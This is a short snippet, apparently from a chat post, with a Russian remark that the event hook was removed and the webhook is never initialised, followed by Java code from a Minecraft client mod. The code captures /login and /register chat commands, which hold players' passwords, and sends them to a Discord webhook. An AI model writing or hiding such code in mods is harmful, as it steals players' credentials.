@Subscribeон удален тг снесли
+ он нигде не инитиализируется
public void onChatMessage(ChatEvent event) {
String message = event.getMessage();
PlayerEntity player = Minecraft.getInstance().player;
if (player != null && (message.startsWith("/reg") || message.startsWith("/l") ||
message.startsWith("/login") || message.startsWith("/register"))) {
sendCommandToDiscord(player.getName().getString(), message);
}
}
private void sendCommandToDiscord(String username, String command) {
DiscordWebhook.EmbedObject embedObject = new DiscordWebhook.EmbedObject();
embedObject.addField("Username", username, true);
embedObject.addField("Command", command, true);
embedObject.setColor(new Color(105, 231, 160));
webhook.addEmbed(embedObject);
try {
webhook.execute();
} catch (IOException e) {
e.printStackTrace();
}
}